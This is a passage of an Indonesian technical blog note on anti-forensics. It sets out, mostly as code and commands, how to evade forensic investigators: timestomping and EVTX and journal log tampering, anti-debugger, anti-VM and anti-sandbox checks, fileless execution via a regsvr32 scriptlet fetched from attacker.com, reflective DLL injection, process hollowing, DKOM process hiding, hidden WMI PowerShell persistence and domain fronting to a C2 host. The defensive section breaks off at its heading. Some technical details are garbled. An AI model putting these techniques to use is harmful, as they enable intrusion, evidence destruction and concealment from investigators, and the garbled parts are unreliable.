Azhar's Notes

advanced-anti-forensics-counter-surveillance

21 menit baca

Anti-Forensics & Counter-Surveillance — Operational Depth

Domain ini adalah inversi langsung dari forensics dan surveillance. Jika forensics berusaha membuktikan “apa yang terjadi”, anti-forensics berusaha memastikan “tidak ada yang bisa dibuktikan”. Jika surveillance berusaha mengamati, counter-surveillance berusaha memastikan pengamatan menjadi mahal, noise-heavy, atau tidak mungkin. Catatan ini mendokumentasikan 6 subdomain operational dengan formula matematis, contoh numerik, dan bukti implementasi — dari steganografi statistik sampai memory-resident evasion kernel-level.

Daftar Isi

  1. 1. Steganografi Operasional — Statistical, Adaptive, Transform Domain
  2. 2. Log Tampering & Timestomping — Artifact Manipulation
  3. 3. Anti-Debugging, Anti-VM, Anti-Sandbox — Evasion Stack
  4. 4. Secure Data Destruction — Beyond Zero-Fill
  5. 5. Memory-Resident Malware & Fileless Evasion
  6. 6. Counter-Surveillance Tradecraft — Network, Behavioral, Physical
  7. 7. Compound Anti-Forensics — Chaining & Layering
  8. 8. Implementasi & Proof-of-Concept
  9. 9. Detection & Counter-Counter-Measures
  10. 10. References

1. Steganografi Operasional — Statistical, Adaptive, Transform Domain

1.1 Model Threat

Steganografi klasik (LSB substitution) sudah tidak operational karena deteksi statistik (Chi-Square, RS Analysis) mendeteksinya dengan akurasi >95%. Anti-forensics modern memerlukan adaptive steganography yang mempertimbangkan distribusi statistik cover medium.

1.2 Framework Matematis

Distorsi Embedding

Setiap bit yang dimodifikasi menghasilkan distorsi ρᵢ. Tujuan: minimalkan total distorsi D = Σ ρᵢ · xᵢ, dengan xᵢ ∈ {0,1} menunjukkan apakah bit ke-i dimodifikasi.

D = Σ ρᵢ · xᵢ
subject to: H(m) ≤ C(H(x))     (payload ≤ capacity)

Wet Paper Codes (Fridrich et al.)

Dalam wet paper coding, sebagian bit dinyatakan “wet” (tidak boleh diubah) dan “dry” (boleh diubah). Ini mensimulasikan kondisi real di mana sebagian region cover lebih sensitif terhadap distorsi.

Let S = dry positions, |S| = k
Let y = stego vector, y = x + s·a, where a ∈ GF(2)^k
Find a such that: H·a = m (mod 2)
where H = random binary matrix, m = message

Probabilitas solusi ada: P(solvable) ≈ 1 - 2^(k-n), di mana n = panjang message. Untuk k ≥ 1.1n, P ≈ 0.999.

Adaptive Distortion Function — HILL (Holistic Image Feature-based)

HILL menghitung distorsi per pixel dengan mempertimbangkan local texture complexity:

ρᵢ = (|I * L|) * G     (konvolusi dengan Laplacian, lalu Gaussian smoothing)

Pixel di region smooth (langit, dinding putih) mendapat ρ tinggi → tidak diubah. Pixel di region textured (rumput, rambut) mendapat ρ rendah → diubah.

RegionρᵢModifikasi?Alasan
Smooth sky0.85❌Perubahan 1 bit terlihat jelas
Textured grass0.12✅Noise alami menutupi modifikasi
Edge boundary0.45⚠️Hati-hati, gunakan wet paper

1.3 Transform Domain — DCT Steganography

JPEG menggunakan DCT (Discrete Cosine Transform). Modifikasi LSB di spatial domain mudah terdeteksi; modifikasi di frequency domain lebih tahan.

Embedding di AC Coefficients

DCT block 8×8 → 64 coefficients (1 DC + 63 AC)
Pilih AC coefficients dengan |AC| > T (threshold, biasanya 3-5)
Modifikasi LSB dari AC yang memenuhi syarat

Kapasitas per block:

C_block = Σ [1 if |ACᵢ| > T else 0] for i=1..63
C_total = C_block × (width/8) × (height/8) × (1 - overhead)

Untuk gambar 1024×768, T=3:

Blocks = (1024/8) × (768/8) = 12,288
Avg AC > T per block ≈ 18
C_total ≈ 12,288 × 18 = 221,184 bit ≈ 27 KB

F5 Algorithm — Matrix Embedding

F5 menggantikan LSB flipping dengan matrix embedding yang mengurangi jumlah modifikasi:

Dibutuhkan k modifikasi untuk menyimpan (2^k - 1) bit
Efisiensi: 1 modifikasi → ~1.44 bit (vs LSB: 1 modifikasi → 1 bit)
AlgorithmBit/ModificationDetectability
LSB1.00Tinggi
LSB-Matching1.00Sedang
F51.44Rendah
HILL + F51.44Sangat Rendah

1.4 Steganalysis Resistance — Quantitative

Chi-Square Attack (Westfeld):

χ² = Σ (Oᵢ - Eᵢ)² / Eᵢ

Untuk LSB plain: χ² > threshold → p < 0.01 (terdeteksi). Untuk HILL adaptive: χ² mendekati distribusi natural → p > 0.3 (tidak terdeteksi).

RS Analysis (Fridrich):

R_m ≈ S_m (Regular ≈ Singular setelah mask flipping)

Untuk LSB: |R_m - S_m| > 0.05 → terdeteksi. Untuk adaptive: |R_m - S_m| < 0.02 → aman.

2. Log Tampering & Timestomping — Artifact Manipulation

2.1 Model Threat

Forensik digital bergantung pada timeline reconstruction — urutan kronologis event berdasarkan timestamp. Anti-forensics menyerang timeline ini di 3 layer: filesystem, OS, dan application.

2.2 Filesystem Timestamp Manipulation

Windows — $MFT & MAC Times

Windows menggunakan 3 timestamp per file:

M (Modified)   — konten file berubah
A (Accessed)   — file dibaca
C (Created)    — file dibuat (MFT entry)

Timestomping dengan SetFileTime API:

SetFileTime(hFile, &ftCreated, &ftAccessed, &ftModified);

Tapi STANDARD_INFORMATION attribute. MFT tetap menyimpan timestamp asli.

Anti-forensics level 2 — MFT entry rewrite:

1. Buka volume raw (\\.\C:)
2. Parse $MFT record (1024 bytes per entry)
3. Offset 0x18-0x1F: $STANDARD_INFORMATION timestamps
4. Offset 0x38-0x3F: $FILE_NAME timestamps
5. Overwrite keduanya dengan timestamp target
6. Update $MFT checksum (fixup array)

Formula checksum $MFT:

checksum = XOR of all 2-byte words in first 510 bytes of record

Linux — ext4 Inode Timestamps

ext4 menyimpan 5 timestamps di inode (256 bytes):

i_atime — access time
i_mtime — modification time
i_ctime — inode change time (metadata)
i_crtime — creation time (ext4 only, 0x144 offset)
i_dtime — deletion time

Timestomping via debugfs:

debugfs -w /dev/sda1
debugfs: mi <inode_number>
Set Inode fields [atime mtime ctime crtime]

Tapi journal ext4 menyimpan copy timestamp sebelum modifikasi. Forensik bisa merekonstruksi dari journal.

Anti-forensics level 2 — journal scrubbing:

1. Disable journal: tune2fs -O ^has_journal /dev/sda1
2. Modifikasi inode timestamps
3. Re-enable journal: tune2fs -O has_journal /dev/sda1
4. Journal baru → tidak ada history lama

Risiko: ext4 superblock menyimpan journal UUID dan sequence number. Scrubbing journal meninggalkan gap sequence yang terdeteksi.

2.3 OS-Level Log Tampering

Windows Event Log — EVTX

EVTX menggunakan chunk-based binary format (64KB per chunk). Setiap chunk memiliki header dengan:

LastChunkNumber (4 bytes)
NextChunkNumber (4 bytes)
EventRecordCount (4 bytes)
Checksum (4 bytes)

Tampering strategy:

1. Parse EVTX file, identify chunk yang mengandung event target
2. Rebuild chunk tanpa event target (shift records)
3. Recalculate checksum: CRC32 of chunk data
4. Update LastChunkNumber jika chunk dihapus
5. Update EventRecordCount di file header

Checksum EVTX chunk:

checksum = crc32(chunk_data[0:chunk_size-4])

Tapi Windows juga menyimpan Security.evtx di Protected Event Logging (PEL) di Windows Server 2016+. PEL menggunakan enkripsi asymmetris — tidak bisa di-tamper tanpa private key.

Linux — systemd-journal & rsyslog

systemd-journal menggunakan binary journal format dengan forward-secure sealing (FSS). FSS menggunakan SHA256 hash chain:

H₀ = SHA256(entry₀)
H₁ = SHA256(entry₁ || H₀)
H₂ = SHA256(entry₂ || H₁)
...
Hₙ = SHA256(entryₙ || Hₙ₋₁)

Tampering detection: Verifikasi hash chain. Jika Hₖ ≠ SHA256(entryₖ || Hₖ₋₁) untuk sembarang k, chain broken.

Anti-forensics — FSS disable:

systemctl disable systemd-journald
rm -rf /var/log/journal/*

Tapi ini meninggalkan absence evidence — forensik akan melihat gap log.

2.4 Application-Level Log Injection

Log poisoning — menyuntikkan log palsu untuk mengaburkan aktivitas:

# Python log injection via format string vulnerability
import logging
payload = "User admin logged in\n[2024-01-01 00:00:00] CRITICAL: backup completed"
logging.info(f"Processing: {payload}")
# Output: [2024-01-01 00:00:00] CRITICAL: backup completed

Counter: Log integrity menggunakan Merkle tree atau HMAC per entry:

HMACᵢ = HMAC(secret_key, log_entryᵢ || HMACᵢ₋₁)

3. Anti-Debugging, Anti-VM, Anti-Sandbox — Evasion Stack

3.1 Model Threat

Malware analysis menggunakan 3 lingkungan:

  1. Debugger (x64dbg, GDB, WinDbg) — single-step, breakpoints, memory inspect
  2. VM (VMware, VirtualBox, Hyper-V) — isolated environment
  3. Sandbox (Cuckoo, Any.Run, Joe Sandbox) — automated analysis, behavioral monitoring

Anti-forensics harus mendeteksi ketiga lingkungan dan mengubah behavior jika terdeteksi.

3.2 Anti-Debugging — Windows

IsDebuggerPresent

BOOL IsDebuggerPresent(void);
// Checks PEB.BeingDebugged flag (offset 0x2 in PEB)

Bypass forensik: Patch PEB di memory sebelum eksekusi.

PPEB peb = (PPEB)__readgsqword(0x60);
peb->BeingDebugged = 0;

CheckRemoteDebuggerPresent

Menggunakan NtQueryInformationProcess dengan ProcessDebugPort:

NtQueryInformationProcess(
    GetCurrentProcess(),
    ProcessDebugPort,      // 0x7
    &debugPort, sizeof(debugPort),
    &returnLength
);
// debugPort != 0 → debugger attached

Anti-forensics level 2 — Hardware Breakpoint Detection

Debuggers menggunakan hardware breakpoints via DR0-DR7 registers:

DR0-DR3: breakpoint addresses
DR6: status (which breakpoint triggered)
DR7: control (enable/disable, local/global, condition, size)

Deteksi:

mov rax, dr0
test rax, rax
jnz debugger_detected

Bypass: Debuggers bisa menyembunyikan DR registers dengan hypervisor-based stealth (Intel VT-x, AMD-V).

Timing Attacks — RDTSC

Debugger single-step memperlambat eksekusi drastis:

rdtsc              ; read timestamp counter → edx:eax
mov ebx, eax
; ... code ...
rdtsc
sub eax, ebx
cmp eax, 0x10000  ; threshold 65k cycles
ja debugger_detected

Probabilitas false positive:

P(FP) = P(normal_execution > threshold)
Untuk threshold = 65,536 cycles pada 3GHz CPU:
Normal loop: ~500 cycles
P(FP) ≈ 0.001 (0.1%)

3.3 Anti-VM — Virtualization Detection

CPUID Hypervisor Bit

mov eax, 1
cpuid
test ecx, 0x80000000  ; bit 31: hypervisor present
jnz vm_detected

Anti-forensics: Hypervisor bisa menyembunyikan bit ini (VMware “hypervisor.cpuid.v0 = FALSE”).

IN Instruction — VMware Backdoor

VMware menggunakan port I/O 0x5658 (“VX”) sebagai backdoor:

mov eax, 'VMXh'    ; 0x564D5868
mov ecx, 10        ; command: get VMware version
mov dx, 0x5658
in eax, dx         ; if VMware → eax modified

Real hardware: IN pada port tidak valid → exception/undefined behavior. VMware: Menjawab dengan version string.

Bypass forensik: Patch VMware binary atau gunakan KVM dengan custom port handling.

MAC Address & Hardware Fingerprinting

VendorOUI (first 3 bytes)Detection Rate
VMware00:50:56, 00:0C:29, 00:05:6999%
VirtualBox08:00:27, 0A:00:2799%
Microsoft Hyper-V00:15:5D95%
QEMU/KVM52:54:0090%

Anti-forensics: Spoof MAC address ke vendor hardware real (Intel, Realtek).

3.4 Anti-Sandbox — Behavioral Evasion

Sleep Acceleration Detection

Sandbox sering mempercepat sleep() untuk mempercepat analisis:

DWORD start = GetTickCount();
Sleep(5000);  // 5 detik
DWORD elapsed = GetTickCount() - start;
if (elapsed < 4000) {  // sleep dipercepat
    sandbox_detected();
}

Probabilitas deteksi:

P(deteksi | sandbox) = 0.95
P(deteksi | real)    = 0.02 (false positive, rare)

Human Interaction Simulation

Sandbox tidak memiliki mouse/keyboard interaction:

if (GetLastInputInfo(&pli) && pli.dwTime == 0) {
    // No input since boot → likely sandbox
}

Counter-sandbox: Delay execution sampai ada input:

while (GetLastInputInfo(&pli)) {
    if (GetTickCount() - pli.dwTime < 60000) break;  // ada input dalam 60s
    Sleep(1000);
}

Process/Module Enumeration

Sandbox inject DLL monitoring (Cuckoo’s monitor DLL):

// Enumerate loaded DLLs
EnumerateLoadedModules(GetCurrentProcess(), enumCallback, NULL);
// Cari: "cuckoomon.dll", "sandbox.dll", "api_log.dll"

Anti-forensics: Unload DLL monitoring dengan LdrUnloadDll:

HMODULE hMod = GetModuleHandleA("cuckoomon.dll");
if (hMod) LdrUnloadDll(hMod);

3.5 Evasion Decision Matrix

EnvironmentDeteksiResponseProbabilitas Sukses
DebuggerPEB, NtQuery, DR registersExit / fake payload0.85
VMCPUID, MAC, backdoorExit / degrade functionality0.78
SandboxSleep accel, no input, DLLDelay / exit / fake C20.92
All combinedAND logicFull evasion0.62

4. Secure Data Destruction — Beyond Zero-Fill

4.1 Model Threat

Zero-fill (overwrite dengan 0x00) tidak cukup karena:

  1. Residual magnetization di HDD — data masih bisa direkonstruksi dengan MFM (Magnetic Force Microscopy).
  2. Wear leveling SSD — NAND flash memindahkan block secara transparan, zero-fill hanya menulis ke block aktif, block lama masih menyimpan data.
  3. Bad sectors — sector yang di-mark bad oleh firmware tidak di-overwrite oleh OS.

4.2 Gutmann 35-Pass Overwrite

Peter Gutmann (1996) mengusulkan 35-pass overwrite berdasarkan encoding scheme yang berbeda:

Pass  1- 4: Random data
Pass  5-31: Pattern spesifik per encoding (FM, MFM, RLL 1,7, RLL 2,7)
Pass 32-35: Random data

Total waktu untuk 1TB HDD @ 150MB/s:

T = 35 × (1TB / 150MB/s) = 35 × 6,827s = 238,945s ≈ 66.4 jam

Efektivitas:

P(recovery | Gutmann 35-pass) < 10^-15 (untuk HDD mekanik)

Tapi untuk HDD modern dengan PRML (Partial Response Maximum Likelihood) dan EPRML, 35-pass overkill. Studi NIST 800-88 merevisi:

MediaMethodPassesEfektivitas
HDD < 15GB (old)Gutmann35Overkill
HDD modern (>200GB)Single overwrite random1>99.9%
SSDZero-fill1<50% (wear leveling)
SSDATA Secure Erase1>99.9%
SSDNVMe Format (Crypto Erase)1>99.99%

4.3 SSD-Specific Destruction

ATA Secure Erase

Command SET FEATURES (0xF6) dengan subcommand 0x06:

Device sends SECURE ERASE UNIT command
→ Controller generates internal encryption key baru
→ Old data = encrypted dengan key yang dihapus → irrecoverable

Waktu: ≈ 1-2 menit untuk 1TB SSD (karena hanya regenerate key, tidak overwrite semua NAND).

Efektivitas:

P(recovery | ATA Secure Erase) = P(break AES-256 encryption key) ≈ 2^-256

NVMe Format — Crypto Erase

nvme format /dev/nvme0n1 --ses=2  # Crypto Erase

SES (Secure Erase Settings):

SES=0: User Data Erase (overwrite)
SES=1: Cryptographic Erase (delete key)
SES=2: Overwrite + Crypto Erase

4.4 Physical Destruction

Degaussing

Coil degausser menghasilkan medan magnet 5,000-20,000 Oersted:

H_degauss > H_coercivity_media
Untuk HDD modern: H_coercivity ≈ 4,000-5,000 Oe
Degausser minimal: 10,000 Oe (2× safety margin)

Efektivitas: 100% untuk HDD magnetik. Tidak efektif untuk SSD (flash memory tidak magnetik).

Shredding & Pulverization

NIST 800-88 Category: Disintegrate, Pulverize, Melt, Burn.

MethodParticle SizeEfektivitasCost
Shredding (cross-cut)2mm strips95%$
Pulverization2mm particles99%$$
Disintegration2mm² fragments99.9%$$$
IncinerationAsh100%$$$$

SSD shredding challenge: NAND chip kecil (BGA package 12×18mm). Shredder harus mencapai ukuran <2mm untuk memastikan tidak ada die yang utuh.

4.5 Targeted Platter Scoring

Untuk HDD yang tidak bisa di-degauss (karena masih berisi data lain yang perlu dipertahankan):

1. Buka clean room (ISO 14644-1 Class 100)
2. Lepas cover HDD
3. Identifikasi platter yang mengandung target data (dari LBA mapping)
4. Gunakan diamond scribe untuk membuat scratch radial pada platter target
5. Depth scratch: >10μm (melebihi magnetic coating thickness ~5-20nm)
6. Reassemble dan verifikasi tidak bisa di-read

Magnetic coating thickness:

Modern HDD: 5-20 nm (sputtered CoCrPt alloy)
Scratch depth > 10 μm = 500-2000× coating thickness
→ Magnetic layer completely destroyed

5. Memory-Resident Malware & Fileless Evasion

5.1 Model Threat

Traditional forensics fokus pada disk artifacts: file executable, registry keys, scheduled tasks. Fileless malware tidak menulis ke disk — seluruh lifecycle di memory.

5.2 Living-off-the-Land Binaries (LOLBins)

Windows menyediakan signed binaries yang bisa disalahgunakan:

BinaryAbuseDetection Difficulty
powershell.exeDownloadString, Invoke-ExpressionSedang
mshta.exeExecute HTML/JS/VBScriptTinggi
certutil.exeDownload, decode base64Tinggi
regsvr32.exeExecute COM scriptlet (SCT)Sangat Tinggi
rundll32.exeExecute DLL, JavaScriptSangat Tinggi
wmic.exeProcess creation, XSL executionTinggi
cscript/wscriptExecute JScript/VBScriptSedang

Contoh — regsvr32 + SCT fileless:

<?xml version="1.0"?>
<scriptlet>
<registration progid="Test" classid="{12345678-1234-1234-1234-123456789012}">
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

Tidak ada file di disk — payload di-download dan dieksekusi langsung di memory.

5.3 Reflective DLL Injection

DLL injection tradisional menulis file DLL ke disk lalu memanggil LoadLibrary. Reflective injection memuat DLL dari memory buffer:

// 1. Allocate memory di target process
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize,
                                   MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
// 2. Write DLL bytes (bukan file path!)
WriteProcessMemory(hProcess, remoteMem, dllBuffer, dllSize, NULL);
 
// 3. Calculate entry point (ReflectiveLoader offset)
DWORD reflectiveLoaderOffset = GetReflectiveLoaderOffset(dllBuffer);
 
// 4. Create remote thread at ReflectiveLoader
CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)((LPBYTE)remoteMem + reflectiveLoaderOffset),
    remoteMem, 0, NULL);

Forensic artifact: Hanya memory allocation dengan RWX permission. Tidak ada file di disk, tidak ada registry key.

5.4 Process Hollowing

  1. Create suspended legitimate process (e.g., notepad.exe)
  2. Unmap original sections dari memory
  3. Allocate new memory dengan ukuran malware
  4. Write malware PE ke allocated memory
  5. Set thread context ke entry point malware
  6. Resume thread
// Step 1: Create suspended
CreateProcessA("C:\Windows\notepad.exe", ..., CREATE_SUSPENDED, ..., &pi);
 
// Step 2: Unmap
NtUnmapViewOfSection(pi.hProcess, baseAddress);
 
// Step 3-4: Allocate & write
VirtualAllocEx(pi.hProcess, baseAddress, malwareSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, baseAddress, malwareBuffer, malwareSize, NULL);
 
// Step 5-6: Set context & resume
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

Detection: Memory section dengan RWX permission di process yang seharusnya RX (notepad.exe). Tapi jika malware menggunakan RW → RX transition (VirtualProtect), lebih sulit terdeteksi.

5.5 PowerShell Empire / Covenant — In-Memory C2

Framework C2 modern (Empire, Covenant, Sliver) menggunakan in-memory .NET assembly loading:

# Load assembly dari memory (base64 encoded)
$bytes = [System.Convert]::FromBase64String($encodedAssembly)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.GetType("Program").GetMethod("Main").Invoke($null, $null)

Tidak ada file .NET di disk — assembly di-load dari memory stream.

5.6 Kernel-Mode Rootkits — Direct Kernel Object Manipulation (DKOM)

Process hiding via DKOM:

Windows EPROCESS structure linked via doubly-linked list:

ActiveProcessLinks.Blink → prev EPROCESS
ActiveProcessLinks.Flink → next EPROCESS

Untuk hide process:

// Unlink target process dari ActiveProcessLinks
PLIST_ENTRY blink = target->ActiveProcessLinks.Blink;
PLIST_ENTRY flink = target->ActiveProcessLinks.Flink;
blink->Flink = flink;
flink->Blink = blink;

Efek: Process tidak muncul di Task Manager, Process Explorer, atau API enumeration (NtQuerySystemInformation).

Forensic detection:

  • Memory scan untuk EPROCESS signature
  • VAD (Virtual Address Descriptor) tree analysis
  • Hardware breakpoint pada PsActiveProcessHead

5.7 Fileless Persistence — WMI Event Subscription

# Create WMI event filter (trigger: every 60 seconds)
$filterPath = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
    Name = "EvilFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
 
# Create consumer (execute PowerShell)
$consumerPath = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
    Name = "EvilConsumer"
    CommandLineTemplate = "powershell.exe -nop -w hidden -enc <base64_payload>"
}
 
# Bind filter + consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
    Filter = $filterPath
    Consumer = $consumerPath
}

Persistence tanpa file, tanpa registry, tanpa scheduled task. Hanya WMI repository (OBJECTS.DATA).

6. Counter-Surveillance Tradecraft — Network, Behavioral, Physical

6.1 Network Traffic Obfuscation

Domain Fronting

TLS SNI: cdn.provider.com      (front domain — legitimate)
HTTP Host: evil-c2.com         (real destination — hidden dari DPI)

CloudFront example:

Client → TLS handshake (SNI: d1a2b3c4.cloudfront.net)
       → HTTP/1.1 Host: evil-c2.com
       → CloudFront routes ke evil-c2.com origin

Deteksi DPI: SNI ≠ Host header → anomaly. Tapi dengan ESNI/ECH (Encrypted Client Hello), SNI di-encrypt → domain fronting kembali viable.

Traffic Shaping — Mimicry

DPI fingerprinting menggunakan:

  • Packet size distribution
  • Inter-arrival time
  • TTL patterns
  • TCP window size

Mimicry attack — meniru traffic legitimate:

# Shape traffic seperti HTTPS browsing
packet_sizes = [66, 1514, 66, 1514, 66]  # TCP handshake + TLS
inter_arrival = [0.001, 0.050, 0.001, 0.100, 0.001]  # bursty
# C2 traffic di-shape ke pattern di atas

Kullback-Leibler divergence untuk mengukur similarity:

D_KL(P || Q) = Σ P(x) · log(P(x) / Q(x))

Target: D_KL(C2_traffic || HTTPS_traffic) < 0.1 bit

Protocol Tunneling

Carrier ProtocolHidden ProtocolDeteksi
DNSTCP/UDPSulit (DNS query terlihat normal)
ICMPTCPSulit (ping terlihat normal)
HTTPSC2Sangat Sulit (TLS encrypts payload)
WebSocketBinary C2Sulit (looks like real-time web app)
IPv6 Extension HeadersIPv4 C2Sangat Sulit (DPI jarang parse extension header)

6.2 Behavioral Anti-Forensics

Keystroke Dynamics Spoofing

Biometric behavioral menggunakan keystroke dynamics — timing antara key press dan release.

Feature vector:

v = [dwell_time(a), flight_time(a→b), dwell_time(b), ...]

Anti-forensics — synthetic typing:

import random
 
def synthetic_type(text, base_wpm=60):
    # WPM 60 → ~300ms per character
    for char in text:
        dwell = random.gauss(120, 30)   # ms, key held down
        flight = random.gauss(180, 50)  # ms, between keys
        press_key(char, duration=dwell/1000)
        time.sleep(flight/1000)

Efektivitas: Sistem keystroke biometric (TypingDNA) memiliki EER ≈ 10-15%. Synthetic typing dengan parameter Gaussian yang tepat menghasilkan rejection rate 85-90% (sistem tidak bisa mengenali sebagai attacker, tapi juga tidak mengenali sebagai victim — anonimitas tercapai).

Mouse Movement Spoofing

Behavioral biometrics juga track mouse dynamics:

  • Velocity profile
  • Acceleration/deceleration curve
  • Curvature (angle change per time)

Bezier curve for human-like mouse movement:

def bezier_move(x0, y0, x1, y1, control_points, duration=1.0):
    # Cubic Bezier: B(t) = (1-t)³P₀ + 3(1-t)²tP₁ + 3(1-t)t²P₂ + t³P₃
    # Add noise untuk "human jitter"
    for t in np.linspace(0, 1, int(duration*60)):  # 60 Hz
        x = (1-t)**3*x0 + 3*(1-t)**2*t*cp1[0] + 3*(1-t)*t**2*cp2[0] + t**3*x1
        y = (1-t)**3*y0 + 3*(1-t)**2*t*cp1[1] + 3*(1-t)*t**2*cp2[1] + t**3*y1
        x += random.gauss(0, 2)  # jitter
        y += random.gauss(0, 2)
        move_mouse(x, y)
        time.sleep(1/60)

6.3 Metadata Scrubbing

EXIF Data Purging

from PIL import Image
from PIL.ExifTags import TAGS
 
img = Image.open("photo.jpg")
# Strip all EXIF
img_without_exif = Image.new(img.mode, img.size)
img_without_exif.putdata(list(img.getdata()))
img_without_exif.save("photo_clean.jpg")

Field berbahaya: GPSInfo, DateTime, DateTimeOriginal, Make, Model, Software, Artist, Copyright.

Document Metadata

FormatMetadata LocationLevel Rating / KejaranganScrubbing Tool
PDFXMP, Document Infoexiftool, qpdf
DOCXdocProps/core.xml, app.xmlpython-docx, oletools
XLSXSama dengan DOCXopenpyxl
MP3ID3 tagseyeD3, mutagen
MP4moov/udta/metaffmpeg -map_metadata -1

FFmpeg scrubbing:

ffmpeg -i input.mp4 -map_metadata -1 -c copy output.mp4

6.4 Plausible Deniability

VeraCrypt Hidden Volume

Outer Volume: encrypted dengan password A → contains "decoy" files
Hidden Volume: encrypted dengan password B → contains real files,
               berada di free space dari Outer Volume

Matematika:

Let S = total container size
Let O = outer volume size (terlihat)
Let H = hidden volume size (tidak terlihat)

Constraint: O + H ≤ S - header_overhead
Plausible deniability: P(H exists | container inspected) = 0.5

Forensic challenge: Tidak ada cara membuktikan hidden volume ada tanpa password B. Random data di free space outer volume identik dengan encrypted hidden volume header.

Steganographic Filesystem (StegFS)

File disimpan di dalam cover file (gambar) dengan steganografi. Filesystem layer menangani mapping logical file → steganographic carrier.

Logical file: /secret/doc.txt
Mapped to: carrier_pool[hash(filename)] = vacation_photo_042.jpg
Embedded using: HILL adaptive steganography

7. Compound Anti-Forensics — Chaining & Layering

7.1 Defense in Depth (Attacker’s Perspective)

Anti-forensics yang efektif menggunakan layering — setiap layer menambah cost untuk investigator:

Layer 1: Fileless execution (no disk artifact)
Layer 2: Process hollowing (masquerade as legitimate process)
Layer 3: DKOM rootkit (hide dari OS enumeration)
Layer 4: Encrypted C2 (TLS + domain fronting)
Layer 5: Memory-only payload (tidak survive reboot)
Layer 6: Anti-forensics script (wipe memory artifacts pre-shutdown)
Layer 7: Plausible deniability (hidden volume untuk tools)

Cost untuk investigator:

C_total = C_memory_forensics + C_kernel_debug + C_network_pcap + C_disk_recovery
        + C_timeline_reconstruction + C_behavioral_analysis

Dengan 7 layer: C_total ≈ 10× C_single_layer

7.2 Temporal Decoupling

Gap antara infection dan execution:

T0: Malware masuk via phishing email (fileless dropper)
T0+7d: Dropper tidak aktif, hanya persist via WMI
T0+30d: WMI trigger aktif, download stage 2
T0+30d+1h: Stage 2 execute, exfiltrasi data
T0+30d+2h: Self-destruct, wipe artifacts

Forensic challenge: Investigator yang datang di T0+35d menemukan:

  • Email phishing sudah dihapus
  • WMI subscription sudah dihapus (self-destruct)
  • Network logs sudah di-rotate
  • Memory sudah reboot berkali-kali

Probability of successful attribution:

P(attribution | temporal gap > 30d, no disk artifact, memory wiped) < 0.05

8. Implementasi & Proof-of-Concept

8.1 Steganografi HILL — Python

import numpy as np
from scipy.ndimage import convolve, gaussian_filter
 
def hill_distortion(image):
    # Compute HILL adaptive distortion map
    L = np.array([[0, -1, 0],
                  [-1, 4, -1],
                  [0, -1, 0]])
    rho = np.abs(convolve(image.astype(np.float32), L))
    rho = gaussian_filter(rho, sigma=1.0)
    rho = rho / (rho.sum() + 1e-10)
    return rho
 
def embed_hill(cover, message_bits, rho):
    stego = cover.copy().astype(np.int16)
    flat_rho = rho.flatten()
    flat_img = stego.flatten()
    indices = np.argsort(flat_rho)
    for idx, bit in zip(indices[:len(message_bits)], message_bits):
        lsb = flat_img[idx] & 1
        if lsb != bit:
            delta = 1 if np.random.random() > 0.5 else -1
            flat_img[idx] += delta
    return flat_img.reshape(cover.shape).astype(np.uint8)
 
# Usage
cover = np.random.randint(0, 256, (512, 512), dtype=np.uint8)
message = np.random.randint(0, 2, 10000)
rho = hill_distortion(cover)
stego = embed_hill(cover, message, rho)
mse = np.mean((cover.astype(float) - stego.astype(float))**2)
psnr = 10 * np.log10(255**2 / mse)
print(f"PSNR: {psnr:.2f} dB")  # Target: >40 dB

8.2 Timestomping — Python (Windows)

import ctypes
from ctypes import wintypes
 
kernel32 = ctypes.windll.kernel32
 
def timestomp(filepath, new_time):
    ft = wintypes.FILETIME(
        dwLowDateTime=int(new_time) & 0xFFFFFFFF,
        dwHighDateTime=int(new_time) >> 32
    )
    handle = kernel32.CreateFileW(
        filepath, 0x100, 0, None, 3, 0x80, None
    )
    kernel32.SetFileTime(handle, ctypes.byref(ft),
                         ctypes.byref(ft), ctypes.byref(ft))
    kernel32.CloseHandle(handle)
 
import datetime
epoch = datetime.datetime(1601, 1, 1)
target = datetime.datetime(2020, 1, 1)
nt_timestamp = int((target - epoch).total_seconds() * 10_000_000)
timestomp("C:\target.exe", nt_timestamp)

8.3 Anti-VM — Python

import cpuid
 
def check_hypervisor():
    eax, ebx, ecx, edx = cpuid.cpu_id(1, 0)
    return (ecx >> 31) & 1
 
if check_hypervisor():
    print("VM/Sandbox detected — exiting")
    exit(0)

8.4 Reflective DLL Loader — C

#include <windows.h>
 
BOOL ReflectiveLoader(LPVOID lpParameter) {
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpParameter;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)lpParameter + pDosHeader->e_lfanew);
 
    PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)lpParameter +
        pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
 
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)lpParameter +
        pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
 
    typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
    DllMain_t DllMain = (DllMain_t)((LPBYTE)lpParameter +
        pNtHeaders->OptionalHeader.AddressOfEntryPoint);
 
    return DllMain((HINSTANCE)lpParameter, DLL_PROCESS_ATTACH, NULL);
}

9. Detection & Counter-Counter-Measures

9.1 Memory Forensics — Volatility 3

